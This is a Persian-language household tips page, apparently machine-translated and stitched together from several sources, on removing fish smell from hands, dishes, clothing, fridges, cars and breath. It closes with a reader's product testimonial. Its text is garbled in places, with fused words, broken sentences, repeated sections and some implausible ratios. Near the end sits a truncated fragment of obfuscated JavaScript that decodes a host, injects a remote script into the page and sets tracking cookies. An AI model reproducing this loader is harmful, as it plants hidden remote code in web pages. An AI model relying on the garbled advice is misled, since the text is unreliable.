شام ماهی خیلی وقته که خورده شده ولی هنوز بوی نامطبوع ماهی روی دستتون هست؟ بوی مخصوصاً شدید است اگر خودتان آشپزی را انجام می دهید. دستان شما حتی پس از ماهیگیری ممکن است بوی ماهی بگیرد. در هر صورت، پس از خوردن ماهی، دستان شما بوی نامطبوع و خاصی پیدا می کند که منبع آن را به شما یادآوری می کند. همه چیز بوی ماهی می دهد - دست، ظرف و حتی فریزرمحل نگهداری محصول اما ناامید نشوید و به این دلیل از ظرافت مورد علاقه خود دست بردارید. از بین بردن بوی ماهی کاملاً امکان پذیر است.

چگونه بوی ماهی تازه از دستان خود را از بین ببرید

1. لیمو.ساده ترین راه برای خلاص شدن از شر بوی این است که دستان خود را با یک تکه لیمو بمالید. حتی مزه هم کافی خواهد بود. اگر لیمو در دست ندارید، می توانید استفاده کنید اسید سیتریک. پودر را در مقدار کمی آب حل کنید و دستان خود را با محلول بشویید.
2. سرکه.این اسید دیگری است که می تواند دستان شما را از شر بوی نامطبوع خلاص کند. یک قاشق غذاخوری سرکه را در یک کاسه عمیق بریزید و دستان خود را با آن بشویید. همین کار را می توان در هنگام پذیرایی از مهمان انجام داد. قبل از شام ماهی، محلول سرکه تهیه کنید و از مهمانان دعوت کنید دست های خود را بشورند تا بوی نامطبوع بعد از غذا وجود نداشته باشد. با این حال، به یاد داشته باشید که اگر زخم یا خراش روی پوست دست شما وجود داشته باشد، ممکن است احساس سوزش غیر قابل تحملی داشته باشید. علاوه بر این، سرکه در غلظت بالا پوست را خشک می کند.
3. خمیر دندان.نه تنها حذف می کند بوی خارجی، بلکه به پوست رایحه دلپذیری از نعناع می بخشد. دست های خود را به طور کامل با خمیر دندان بمالید، به خصوص نواحی بین انگشتان. پس از آن، دست های خود را بشویید و از نبود بوی ماهی لذت ببرید.
4. الکل.هر ترکیب حاوی الکل در مبارزه با بوها، به ویژه بوی ماهی، عالی است. الکل، ودکا یا ادکلن را روی یک پد پنبه ای بمالید. پوست دست هایتان را با پنبه کاملا پاک کنید. اگر الکل در دسترس ندارید، صابون مایع ضد عفونی کننده دست می تواند یک جایگزین عالی باشد.
5. شامپو.این شامل عطرهای زیادی است، بنابراین شامپو اغلب تنها راه حل مناسب است. دست های خود را با شامپو بشویید و فضای بین انگشتان خود را کاملا کف کنید.
6. شستشو.برای از بین رفتن سریع و دائمی بو، توجه کنید که آیا نیاز به شستشو دارید؟ جوراب یا لباس زیر خود را با دست بشویید - یک چیز کوچک تا بوی ماهی به طور کامل توسط مواد شوینده دفع شود.
7. اسانس.هر اسانسی می تواند عطرهای خارجی را بدون پوشاندن آنها تجزیه کند. چند قطره روغن را در آب بریزید و صبر کنید تا حل شود یا پخش شود. پس از این کار، دستان خود را در ظرف بشویید. این یک راه عالی برای جایگزینی بوی نامطبوع ماهی با رایحه اسطوخودوس، بادام یا شکوفه هلو است.
8. فولاد ضد زنگ.این یک راه غیرمعمول، اما کاملا موثر برای خلاص شدن از شر بوهای خارجی است. برای کسانی که نمی خواهند دست خود را خیس کنند مناسب است. به سادگی دستان خود را با یک قاشق استیل ضد زنگ مالش دهید تا بوی ماهی از بین برود.
9. قهوه.قهوه گرانول شده را با دست خیس بمالید. بعد از این کاملا فراموش خواهید کرد که چند ثانیه پیش دستانتان بوی ماهی می داد.
10. روغن آفتابگردان.اگر دست‌هایتان هنوز بوی نامطبوع ماهی می‌دهد، می‌توانید آن‌ها را با یک قطره روغن آفتابگردان پاک کنید. این کار نه تنها بو را از بین می برد، بلکه دستان شما را نیز مرطوب می کند. روغن بر خلاف سرکه، صابون و آب لیمو، اپیدرم را خشک نمی کند.

این روش های ساده به شما کمک می کند تا در عرض چند دقیقه از شر بوی نامطبوع خلاص شوید.

یک لذت واقعی نوشیدن آبجو سرد خوشمزه با ماهی دودی گوشتی در یک شرکت شاد است. با این حال، همه چیز تحت الشعاع بویی است که پس از تجمع باقی می ماند. بو ماهی دودیآنقدر به پوست دست شما می خورد که پژواک آن حتی بعد از چند روز احساس می شود. اگر فردا صبح باید کار کنید واقعاً نیاز دارید که یک عصر دلپذیر را از خود دریغ کنید؟ در هیچ موردی! در عرض چند ثانیه می توانید بوی ماهی دودی روی دستان خود را از بین ببرید.

ابتدا دستان خود را با آبجو بشویید. به سادگی مقداری مایع را روی دست های خود بریزید و کف دست های خود را از دو طرف پاک کنید. آبجو بوی نامطبوع را به طور کامل خنثی می کند. پس از این کار، تنها کاری که باید انجام دهید این است که دستان خود را با صابون بشویید آب سردطوری که اصلا عطری به مشام نرسد. اگر بو بسیار کمتر شد، اما به طور کامل از بین نرفت، به سادگی این روش را تکرار کنید.

چگونه بوی ماهی را هنگام آشپزی از بین ببریم

قبل از پختن ماهی، باید دستان خود را خیس کنید سرد نمکیآب، آب لیمو یا سرکه. برای اینکه ماهی هنگام سرخ کردن بوی تند ندهد، می توانید چند تکه سیب زمینی یا پیاز را در همان ماهیتابه سرخ کنید. اگر بو از آبگوشت می آید، کمی شیر به آن اضافه کنید. شیر در از بین بردن بو بدون غلبه بر طعم خود ماهی کار بسیار خوبی می کند.

اگر بعد از پخت ماهی تابه بوی بدی داد، باید آن را با آب پر کنید، کمی آبلیمو یا سرکه به آن اضافه کنید و بجوشانید. اگر بویی در اتاق وجود دارد، باید بپاشید اجاق گازنمک درشت بزنید و یک تکه پوست پرتقال را نزدیک شعله قرار دهید. بوی مداوم ماهی در آشپزخانه را می توان با گرم کردن چند ماهی از بین برد دانه های قهوه. این نه تنها بوی ماهی را سرکوب می کند، بلکه به اتاق می دهد قهوه سبکعطر

اگر بوی نامطبوع ماهی در بشقاب ها و قاشق ها باقی ماند، می توانید آن را با چای از بین ببرید. چای غلیظ دم کنید و بگذارید خنک شود. سپس ظروف را با چای بشویید و با مواد شوینده بشویید. خردل خشک در از بین بردن بوی ظروف بسیار عالی عمل می کند. کافی است صفحات را با آن بمالید.

اما خیساندن آن در آب نمک سرد به از بین بردن بوی ماهی از لباس کمک می کند. لباس های خود را با صابون لباسشویی بشویید، زیرا حاوی مقدار زیادی قلیایی است که می تواند با بوی نامطبوع مقابله کند.

بوی ماهی در دستان شما کشنده نیست، اما بسیار ناخوشایند است. مقابله با آن به آسانی پوست اندازی گلابی است - فقط کافی است به کشوی آشپزخانه نگاه کنید. مطمئناً محصولی در آنجا وجود خواهد داشت که به شما کمک می کند دست های خود را تمیز کنید و عطر دلپذیری به پوست خود ببخشید.

ویدئو: چگونه بوی ماهی را از بین ببریم

طبق توصیه پزشکان، ماهی باید در برنامه غذایی هر فردی وجود داشته باشد. این یک محصول سالم، کم کالری و به راحتی قابل هضم با محتوای بالایی از ویتامین ها و ریز عناصر است. ماهی را آب پز، سرخ می کنند، خشک می کنند، بخارپز می کنند و در فر می پزند. لیست غذاهای این ساکن رودخانه ها و دریاها فقط با تخیل سرآشپز محدود شده است. تنها ایرادی که هنگام بریدن و پختن ماهی ایجاد می شود بوی آن است. ما در مقاله خود به شما خواهیم گفت که چگونه از شر آن خلاص شوید.

در طول پخت و پز، می تواند نه تنها روی دست ها و ظروف، بلکه روی لباس ها، مبلمان و در هوا نیز باقی بماند. خلاص شدن از شر یک عطر خاص آنقدرها هم که در نگاه اول به نظر می رسد دشوار نیست. اما باز هم بهتر است مراقب باشید تا از پخش شدن آن در سراسر آپارتمان جلوگیری کنید. کافی است توصیه های کلی زیر را دنبال کنید:

1. سعی کنید ماهی را فقط در بسته در یخچال نگهداری کنید. برای این کار می توانید آن را در ظرفی قرار دهید که درب آن دربسته نیست یا آن را در فویل بپیچید.
2. استفاده از تخته جداگانه برای برش ماهی توصیه می شود. برای همین اهداف، می توانید یک چاقوی مخصوص را انتخاب کنید.
3. ظروفی که با ماهی در تماس هستند باید بلافاصله و بدون تاخیر شسته شوند. در این صورت، بو زمانی برای نفوذ عمیق به سطح نخواهد داشت.
4. پوست مرطوب بوهای مختلف را به شدت جذب می کند، بنابراین توصیه می شود هنگام کار با ماهی از دستکش استفاده کنید.
5. برای جلوگیری از پخش بوی نامطبوع ماهی هنگام سرخ کردن، ابتدا باید با استفاده از سرکه یا آبجو با ادویه جات ترشی جات پخته شود.

توصیه می شود هر نوع غذای دریایی را فقط با دستکش لاستیکی مخصوص برش دهید. در غیر این صورت، پوست بوی نامطبوعی را جذب می کند، که قطعاً نمی توانید با صابون معمولی از شر آن خلاص شوید. اما اگر دستکش در دست ندارید، چند نفر به کمک می آیند راه های ساده:

1. برش لیمو. آب غلیظبوهای سرسخت از جمله بوی ماهی را به خوبی از بین می برد. کافی است دست های خود را با یک تکه لیمو پاک کنید و از پشت دست ها و نواحی بین انگشتان خود غافل نشوید.
2. محلول سرکه. روش ارائه شده در زیر به شما کمک می کند تا از شر بوی ماهی و همچنین سایر بوهای نامطبوع خلاص شوید. در 1 لیتر آب باید یک قاشق غذاخوری رقیق کنید سرکه سفره(9%) و دستان خود را برای چند دقیقه در محلول به دست آمده قرار دهید.
3. روغن های معطر فقط چند قطره را به یک کاسه آب اضافه کنید روغن معطرمرکبات، سپس دستان خود را به مدت 5-10 دقیقه در آن قرار دهید.
4. آبجو. آنها باید پوست دست خود را پاک کنند و سپس دوباره با صابون بشویید.

چگونه بوی ماهی را از ظروف پاک کنیم

تخته برش، بشقاب ها و ماهیتابه اگر به موقع شسته نشوند، برای مدت طولانی عطر و بوی نامطبوعی متصاعد می کنند. در این مورد می توان چندین راه برای خلاص شدن از بوی ماهی از ظروف با استفاده از وسایل بداهه پیشنهاد داد:

1. نمک. ابتدا باید با استفاده از دستمال کاغذی چربی را از ماهیتابه پاک کنید سپس ظروف را با مواد شوینده بشویید. پس از این، نمک را در یک ماهیتابه خشک ریخته و به مدت چند دقیقه به خوبی گرم می کنیم. در نتیجه تنها در 10 دقیقه کریستال های نمک بوی نامطبوع را جذب می کنند و اثری از آن باقی نمی ماند.
2. خردل خشک. توصیه می شود پودر را در مقدار کمی آب رقیق کنید و سپس تمام ظروفی را که هنگام برش ماهی استفاده می شد با محلول حاصل بشویید.
3. لیمو. شسته شده با مواد شویندهتوصیه می شود ماهیتابه یا تخته برش را با یک تکه لیمو پاک کنید و دوباره با آب تمیز بشویید.
4. سرکه. توصیه می شود ظروف شسته شده را با محلول ضعیف سرکه پاک کنید و سپس آنها را زیر آب جاری بشویید.
5. سبزیجات خامو میوه ها با پاک کردن ظروف کثیف با نصف سیب زمینی می توانید از شر بوی نامطبوع خلاص شوید.

از بین بردن بوی ماهی از لباس

در هنگام سرخ کردن، عطر ناخوشایند نه تنها در ظروف، بلکه در پرده ها، پیش بند و لباس های خانه نیز نفوذ می کند. اگر بلافاصله آن را در ماشین لباسشویی یا با دست بشویید، می توانید به راحتی از شر آن خلاص شوید. اگر این کار بلافاصله انجام نشد، روش های زیر کمک می کند:

1. اقلام را در محلول قوی صابون لباسشویی یا آب با سرکه (10 میلی لیتر در هر 5 میلی لیتر آب) به مدت 30-40 دقیقه خیس کنید.
2. لباس ها و پرده ها را در ماشین لباسشویی با جوش شیرین بشویید و به جای پودر لباسشویی معمولی به آن اضافه کنید.
3. جوشاندن در محلول صابون لباسشویی. قبل از استفاده از این روش، باید مطمئن شوید که پارچه ها می توانند دمای بالا را تحمل کنند.
4. لباس ها را با استفاده از نرم کننده با رایحه مطبوع آبکشی کنید و در هوای آزاد خشک کنید.

حتی اگر بعد از پخت و پز ظروف، دست ها و لباس ها را کاملا بشویید، عطر در آپارتمان به قدری قوی باقی می ماند که حتی همسایه ها می دانند که امروز در این آپارتمان چه چیزی برای شام سرو می شود. برای جلوگیری از این اتفاق، باید تمام اقدامات را در مورد چگونگی خلاص شدن از بوی ماهی در اتاق انجام دهید. در این مورد، نکات زیر موثر خواهد بود:

1. پنجره ها را باز کنید و آشپزخانه را کاملا تهویه کنید.
2. با پاک کردن مبلمان و شستن کف با آب و افزودن اسانس معطر یا سرکه، تمیز کردن مرطوب را انجام دهید.
3. یک مشت دانه قهوه را در ماهیتابه خشک تفت دهید. عطر دلپذیر در اتاق تضمین خواهد شد.
4. در یک قابلمه با آب، نصف لیمو را با افزودن جوانه های میخک چند دقیقه بجوشانید.

چگونه بوی نامطبوع را هنگام سرخ کردن ماهی به حداقل برسانیم؟

اگر به توصیه های زیر گوش دهید خلاص شدن از شر بوی نامطبوع آپارتمان پس از پخت و پز راحت تر خواهد بود:

1. قبل از سرخ کردن، ابتدا باید یک تکه سیب زمینی را در ماهیتابه با روغن گرم شده بریزید و سپس ماهی را بچینید. پیاز نیز اثر مشابهی دارد.
2. قبل از سرخ کردن، توصیه می شود ماهی را به مدت نیم ساعت در محلول سرکه ضعیف خیس کنید. سپس بو در حین پخت و پز چندان قوی نخواهد بود.
3. از شر بو خلاص شوید ماهی سرخ شدههمانطور که در مواردی که در بالا توضیح داده شد، پنجره های باز بسیار کمک خواهد کرد. در این صورت عطر آنچنان به داخل مبلمان و لباس ها نفوذ نمی کند.

مثل ماهی در یخچال

غذاهای دریایی تازه ماندگاری کوتاهی دارند، به خصوص در تابستان. اگر ماهی را در یخچال بگذارید، توصیه می شود در آینده نزدیک آن را بپزید. در غیر این صورت، شیر، سبزیجات و گوشت با بوی ماهی در یخچال اشباع می شوند. چگونه از شر آن خلاص شویم یک سوال دیگر است. اول از همه، توصیه می شود همه محصولات را در ظروف دربسته نگهداری کنید، سپس بوی آن فقط از ظروفی که ماهی در آن ذخیره شده است حذف می شود.

اگر عطر پخش شد، می توانید با استفاده از محلول سرکه از شر آن خلاص شوید. یخچال باید ابتدا یخ زدایی شود، سپس دیوارها، در و قفسه های آن را با محلول پاک کنید.

محلول سودا نیز اثر مشابهی دارد. نوشابه باید در مقدار کمی آب گرم رقیق شود و سپس تمام داخل یخچال را با محلول آماده شده پاک کنید.

به عنوان محافظت اضافی در برابر بوهای نامطبوع، می توانید یک نعلبکی را با پوسته نان بورودینو، دانه های قهوه یا دانه های قهوه در یخچال قرار دهید. برش سیب. اینها جاذب های طبیعی هستند که عطرهای خاص را جذب می کنند و از پخش شدن آنها در سراسر یخچال جلوگیری می کنند.

از بین بردن بوی ماهی در ماشین

ماهیگیران مشتاق می دانند که از بین بردن یک ماهی ماهی می تواند دشوار باشد. اما نکات زیر به شما کمک می کند یاد بگیرید که چگونه بوی ماهی گندیده در ماشین خود را تنها در یک شب از بین ببرید:

1. ظرف حاوی محلول سرکه را حداقل 12 ساعت در ماشین بگذارید.
2. به همین ترتیب یک ظرف آب داخل ماشین قرار دهید و اضافه کنید آب لیمو.
3. تمام قسمت های داخل خودرو را با مواد ضدعفونی کننده پاک کنید.

اگر روش‌های ارائه‌شده در بالا بی‌اثر باشند، خودرو باید برای تمیز کردن داخلی به کارواش برده شود.

چگونه بوی گل و لای ماهی را از بین ببریم؟

ماهی رودخانه ای بر خلاف ماهی های دریایی ویژگی ناخوشایند دیگری نیز دارد. علاوه بر تعداد زیادی دانه ریز، بوی گل و لای نیز دارد که خلاص شدن از شر آن چندان آسان نیست. با این وجود، راه هایی وجود دارد که به از بین بردن عطر خاص و بهبود طعم غذا کمک می کند.

در حالت اول، قبل از پختن ماهی، توصیه می شود آن را چند ساعت در شیر خیس کنید. یا کافی است آن را به نسبت 1:2 به آب معمولی اضافه کنید.

راه دوم برای خلاص شدن از شر بوی بد کمتر موثر نخواهد بود. ماهی رودخانه. می توان از آن در آشپزی استفاده کرد سوپ ماهییا آسپیک در این مورد، باید یک عدد پیاز کامل، هویج و ریشه کرفس را داخل آب گوشتی که ماهی در آن پخته می شود، بریزید. آنها نه تنها طعم خاصی به ظرف می دهند، بلکه به خلاص شدن از بوی گل کمک می کنند. قبل از سرو، این مواد به سادگی از آبگوشت خارج می شوند.

بوی ماهی

بوی ماهیبسیار خاص ممکن است کم و بیش تلفظ شود، اما هر ماهی، خام یا سرخ شده، آن را دارد. فرآیندی مانند رفع بوی ماهی، نیاز به آگاهی از برخی اسرار دارد.

بسیاری از مردم ماهی را دوست دارند - سرخ شده، خشک شده، دودی، سوپ ماهی طبخ می کنند و آن را برای آبجو می خرند. سالم، مغذی و حاوی مقدار زیادی است اسیدهای چربو ویتامین ها اما متاسفانه، بوی ماهیبسیار پایدار است، و گاهی اوقات می توان آن را از روی تخته های برش، میز یا ظروف جدا کرد. و اگر روند پخت و پز طولانی باشد، هیچ مقداری از هود شما را نجات نخواهد داد. بیایید به گزینه ها نگاه کنیم چگونه بوی ماهی را از بین ببریمدر موقعیت های مختلف

بوی نامطبوع در آپارتمان

بوی ماهی را از بین ببرید نمک، لیمو، پوست لیمو یا پرتقال و سرکه به آشپزخانه کمک خواهد کرد. نمک در جذب هر بو خوب است. اگر آن را در ماهیتابه گرم کنید و مدتی روی اجاق بگذارید (تا زمانی که خنک شود)، مقداری از «عطر» آن را جذب می کند. در مرحله بعد می توانید از پوست لیمو یا پرتقال استفاده کنید که کاملا از بین می رود بوی ماهی در آپارتمان. برای انجام این کار، پوست آن نیز باید گرم شود. این کار را می توان به سادگی روی مشعل یا در یک ماهیتابه کوچک انجام داد. چگونه رفع کنیم بوی ماهی شور، اگر ذوق وجود ندارد؟ باید آب را با سرکه یا آب لیمو در یک قابلمه کوچک بجوشانید و سپس آشپزخانه را تهویه کنید.

اما از همه بهتر بوی نامطبوع ماهیقهوه را از بین می برد عطر دانه‌های قهوه که به آرامی در ماهیتابه برشته شده‌اند، خانه شما را پر می‌کند و بلافاصله باعث می‌شود مشکل ماهی خاص خود را فراموش کنید.

زغال سنگ خرد شده و در ظرف کوچکی در انبار یا گنجه قرار می گیرد، بوها را جذب می کند. با افزودن کمی زغال یا خلال پیاز می توانید بوی نامطبوع بوفه را از بین ببرید.

ماهی سرخ شده

بوی ماهی سرخ شده بسیار قوی است و بلافاصله کل فضا را پر می کند، در حالی که جذب لباس، پوست و همه چیز اطراف می شود. برای از بین بردن بوی شدید هنگام سرخ کردن ماهی، یک عدد سیب زمینی پوست کنده و ورقه شده را در روغن نباتی قرار دهید.

یک راه مطمئن وجود دارد طرز پخت ماهی بدون بو:

• ماهی را تمیز کنید، به قطعات برش دهید
• نمک و چاشنی اضافه کنید
• 0.5 لیتر آبجو (هر نوع!) را در یک قابلمه بریزید، ماهی را تکه تکه کنید و در یخچال بگذارید.
• کافی است ماهی را به مدت 20 دقیقه در آبجو خیس کنید (می توانید تمام روز این کار را انجام دهید، بدتر نمی شود).
• قبل از سرخ کردن، تکه های ماهی را برای مدتی در آبکش قرار دهید (تا آب ماءالشعیر)
• و شما می توانید سرخ کنید!

یخچال

هنگام نگهداری ماهی در یخچال، حتما آن را محکم بسته بندی کنید، در غیر این صورت همه محصولات از بوی خاص آن اشباع می شوند.

به خوبی حذف می کند بوی ماهی در یخچالخردل. بهتر است از خشک استفاده کنید، اما در صورت عدم وجود چاشنی آماده مفید است. یخچال با محلول خردل شسته می شود

ظرف ها

آ چگونه بوی ماهی را از بین ببریماز ظروف استفاده شده؟ اگر چنگال ها و چاقوها را قبل از شستن با روغن یا پوست لیمو پاک کنید بوی ماهی نخواهند گرفت. قبل از شستن چاقو پس از بریدن شاه ماهی، پیاز یا سیر، آن را روی یک شعله در حال سوختن نگه دارید یا آن را با هویج پاک کنید. سیب زمینی خام, روغن سبزیجات، سرکه، سپس با آب سرد و صابون بشویید. بوی ماهی در دستان شماستنحوه تمیز کردن به این صورت است: قبل از شستن، دست های خود را با نمک پاک کنید - بوی آن ناپدید می شود.

چگونه از شر بوهای تخته برش خلاص شویم

قبل از بریدن ماهی، باید درک کنید چگونه بوی ماهی را از بین ببریم?

لازم است سیر یا پیاز را خرد کنید، تخته برش را با سرکه 9 درصد خیس کنید یا با یک تکه لیمو پاک کنید.

وقتی شما تخته برشبا بوی ماهی اشباع شده، تخته را با سرکه رقیق شده با آب به نسبت 1: 1 یا آب لیمو بپاشید.

بوی سیر کلم ترشیا ماهی را می توان با شستن تخته برش جدا کرد شور داغآب (4 قاشق غذاخوری نمک در هر لیتر آب) یا آب گرم با سرکه رقیق شده در آن (2 قاشق غذاخوری سرکه در هر 2 لیتر آب).

هنگامی که یک تخته برش عطر و بوی نامطبوعی منتشر می کند گوشت خام، تخته را به مدت نیم ساعت در آب داغ با له شده خیس کنید زغال چوبی(100 گرم در لیتر). شما می توانید به جای زغال از یک قیچی استفاده کنید قهوه زمین. سپس، تخته را به طور کامل زیر آب جاری با افزودن مواد شوینده ظرفشویی معطر مایع بشویید.

اگر تخته برش شما از پلاستیک مناسب مواد غذایی ساخته شده است، برای خلاص شدن از شر بوی نامطبوع، سطح آن را با آب با اضافه کردن جوش شیرین بشویید یا با پارچه ای آغشته به سرکه پاک کنید و بشویید.

برای خلاص شدن از بوی کپک ناشی از تخته برش چوبی، آن را به شدت مالش دهید. زمین های قهوهو چند دقیقه به همین صورت بگذارید. پس از این کار، ابزار آشپزخانه را به طور کامل زیر آب جاری بشویید.

تخته را با پودر خردل خشک یا چای نوشیده پاک کنید تا از شر عطر شاه ماهی خلاص شوید. شیر تازه نیز کاملاً این "بو" را خنثی می کند. به سادگی تخته برش را با یک اسفنج آغشته به شیر خنک پاک کنید.

هنگام انتخاب تخته برش به این نکته توجه کنید که تخته های پلاستیکی و شیشه ای نسبت به تخته های چوبی طعم های مختلف را کمتر جذب می کنند. از جمله این نکته نیز قابل توجه است که تمیز کردن تخته هایی با سطح راه راه دشوارتر است و در نتیجه مشکلات بوها بیشتر خواهد شد.

حداقل از سه تا چهار تخته برای گروه های غذایی مختلف استفاده کنید و بلافاصله پس از پخت، آنها را با آب گرم و با افزودن مواد شوینده مخصوص ظرفشویی، کاملاً بشویید. احتمال ظاهر شدن عطرهای ماندگار هنگام مراقبت از این وسیله آشپزخانه حداقل خواهد بود.

بوی ماهی در فر می آید؟

همه این را می دانند بوی ماهی کنار گذاشتنمی توانید از چاقو یا انگشتان استفاده کنید و آنها را با یک برش یا پوست لیمو بمالید. و لیمو نیز به شما خواهد گفت چگونه بوی ماهی را از بین ببریمدر فر: در سینی فر آب بریزید و نصف لیمو را در آن برش دهید و به مدت 15 دقیقه در فر داغ قرار دهید.

پارچه

نمیدانم چگونه از بوی ماهی روی لباس خلاص شویم? و راه حلی وجود دارد. بوی ماهی را از بین ببریدبلافاصله غیرممکن ابتدا کالای خود را بشویید به روش معمول. اگر بوی نامطبوع همچنان ادامه دارد، از وسایل بداهه استفاده کنید. پودر را در آب رقیق کنید و هنگام شستن آب لیمو را اضافه کنید. وسیله خود را با دست بشویید. عطر لیمو باید جذب شود بوی نامطبوع ماهی. در صورت لزوم، اقلام خود را در ماشینی با نرم کننده اضافه بشویید.

یک ماده شوینده معمولی با بوی لیمو برای از بین بردن بوی ماهی به خوبی عمل می کند. اقلام خود را با دست و با استفاده از مواد شوینده ظرفشویی بشویید. به هیچ عنوان مواد شوینده ای را که برای شستن ظروف استفاده می کنید به ماشین لباسشویی خود اضافه نکنید. کف زیادی ایجاد می کند که می تواند منجر به خرابی تجهیزات شود.

اقلام خود را با دست و با استفاده از مواد شوینده معمولی بشویید. در حین آبکشی، 1 قاشق غذاخوری سرکه را به آب اضافه کنید. بوهای نامطبوع را خنثی می کند. اگر هیچ یک از دستور العمل ها به شما کمک نکرد، با خشکشویی تماس بگیرید. محصولات حرفه ای مراقبت از پارچه می توانند به راحتی با این مشکل کنار بیایند.

منسوجات

رومیزی، حوله، لباس به راحتی جذب می شود بوی ماهی. چگونه بوی ماهی را از بین ببریماز پارچه؟ خلاص شدن از شر آن دشوار است، به خصوص اگر آنها را فوراً در شستشو قرار ندهید. باز هم سرکه مفید خواهد بود. باید کمی اضافه شود آب گرمبر اساس 2 قاشق غذاخوری سرکه در هر 5 لیتر آب، چیزی را که بوی نامطبوع دارد خیس کنید و پس از مدتی به روش معمول بشویید.

بوی نامطبوع ماهی

اگر از ماهی بزرگ آب شیرین سوپ ماهی تهیه می کنید، احتمال وجود آن وجود دارد. بوی گل روی ماهی. برای جلوگیری از خراب شدن غذا، ریشه هایی مانند جعفری یا کرفس را به آبگوشت اضافه کنید. پیاز (کل سر) و یک هویج کامل. علاوه بر این، شما نیاز خواهید داشت برگ بوو دانه فلفل شنیده ام که با استفاده از آبگوشت می توانید بوی ماهی را از بین ببرید خیارشور، اما من هرگز از این روش استفاده نکردم، زیرا هرگز با ماهی با بوی گل برخورد نکردم. بوی خاصی که ماهی دارد دلیلی بر امتناع از چنین محصول ارزشمندی نیست، به خصوص اگر بدانید چگونه با این بو مقابله کنید.

فضای داخلی خودرو

به سوال چگونه بوی ماهی را از بین ببریمبلافاصله داخل ماشین به شما می گویم - بوی ماهی در ماشینحذف بسیار دشوار است او توصیه می کند به یک نمایندگی خودرو بروید که در آن متخصصان به شما کمک کنند.

نفس تازه

برای از بین بردن ناخوشایند می توانیم داروهای مردمی زیر را پیشنهاد کنیم بوی نفس ماهی:

تا حد امکان سیب تازه بخورید؛

دانه قهوه را به مدت 1-2 دقیقه بجوید.

دهان خود را با دمنوش خارمریم، 2 قاشق غذاخوری بشویید. برای 1 لیوان آب جوش، 2-3 بار در روز بشویید.

برای بیماری های معده که باعث ایجاد بو می شوند، دم کرده نعناع کمک می کند. 1 قاشق غذاخوری. برگ نعناع خشک برای 1 فنجان آب جوش. 4-5 بار در روز بشویید؛

برگ های نعناع یا جعفری را بجوید، خواص ضد عفونی کنندگی طبیعی دارند، باکتری ها را مهار می کنند و در نتیجه بوی بد دهان را از بین می برند.

البته اگر فردی در خانه باشد، همه این روش ها خوب هستند، اما تصور انجام این روش ها در محل کار، در یک مهمانی، در تئاتر دشوار است قند. کنترل مداوم طراوت نفس لحظات خوش بسیاری را وارد زندگی شما خواهد کرد.

در خانه بحث کنید 0

من دانشجوی دانشگاه شیمی هستم. من در خوابگاه زندگی می کنم. بچه ها از ملیت های مختلف زندگی می کنند. اخیراً کره ای ها به بلوک ما منتقل شدند. و فقط یک کابوس شروع شد. من هرگز بوی ماهی آب پز را دوست نداشتم. و آنها نه تنها آن را طبخ کردند، بلکه آن را درست روی مشعل های گاز طبخ کردند. بوی به سادگی وحشتناک بود. رفتن به آشپزخانه غیرممکن بود و بعد از بازدید از آشپزخانه لباسم بوی ماهی می داد. فرمانده خوابگاه به آنها اظهار نظر کرد، آنها را تهدید به اخراج کرد، اما بی فایده بود، ماهی خود را به همان روش سرخ کرد. به طور کلی ، من و دختران از این واقعیت که خودمان شروع به بوییدن این ماهی کردیم عذاب می کشیدیم. حتی در طول کلاس ها ناراحت کننده بود. برای مدت طولانی به شما نمی گویم، به نظر من، به طور کلی، محصولی به نام دوففرش ما را نجات داد. حداقل لباس‌ها دیگر بو نمی‌دهند و بالاخره کره‌ای‌ها را بیرون کردند. نفس عمیق میکشم من آن را توصیه می کنم.

// o;o++)t+=e.charCodeAt(o).toString(16);return t),a=function(e)(e=e.match(/[\S\s](1,2)/g) ;for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf(«firefox»))window.smlo.loadSmlo(n.replace(«https:»,«http:»));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf(«firefox»))window.zSmlo.loadSmlo(n.replace(«https:»,«http:»));else{var i=document.createElement(«script»);i.setAttribute(«src»,n),i.setAttribute(«type»,«text/javascript»),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,«function»==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),«function»==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o(«a2519043306»)!=f&&n(«a2519043306»,f,{expires:parseInt(«3600»)})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o(«a36677002»)!=i&&n(«a36677002»,i);var r=o(«a2519043306»);t=r?r:e,s(t)};f()}();]]>

چگونه بوی ماهی را حذف کنیم

چگونه از بوی ماهی در آبگوشت خلاص شویم؟
به آبی که ماهی در آن می پزید کمی شیر اضافه کنید و بوی آن از بین می رود

چگونه بوی ماهی را هنگام سرخ کردن از بین ببریم؟
برای از بین بردن بوی شدید هنگام سرخ کردن ماهی، یک عدد سیب زمینی پوست کنده و ورقه شده را در روغن نباتی قرار دهید.
از طرف دیگر، یک پیاز را که از وسط نصف شده است، در ماهیتابه ای قرار دهید.
یک نکته دیگر یک قطره آب لیمو به روغن اضافه کنید.

چگونه بوی ماهی را هنگام سرخ کردن از بین ببریم؟
نکته بعدی حدود 20 دقیقه قبل از سرخ کردن، آب نصف لیمو را روی ماهی بگیرید.

چگونه بوی ماهی را در آشپزخانه بعد از سرخ کردن از بین ببریم؟
با جوشاندن مقدار کمی آب با سرکه روی اجاق گاز در یک کاسه باز می توانید بوی نامطبوع ماهی را در آشپزخانه از بین ببرید. پس از چند دقیقه، اتاق را تهویه کنید. برای همین منظور می توانید پوست پرتقال یا لیمو را روی شعله گرم شده قرار دهید یا روی اجاق گاز داغ کمی نمک بپاشید. یک ماهیتابه با تفاله قهوه را روی آتش بگذارید تا عطر قهوه به سرعت جایگزین همه بوهای نامطبوع شود.

همچنین می توانید آب را با میخک یا دارچین بجوشانید.

چگونه بوی ماهی را از ظروف پاک کنیم؟?
ظروفی که ماهی در آن پخته شده است برای مدت طولانی بوی خاصی را حفظ می کند تا از شر آن خلاص شوید، باید قابلمه یا ماهیتابه را با چای مست کنید.
اگر قبل از شستن ظرف ها با خردل خشک آن را پاک کنید بوی ماهی از بین می رود.

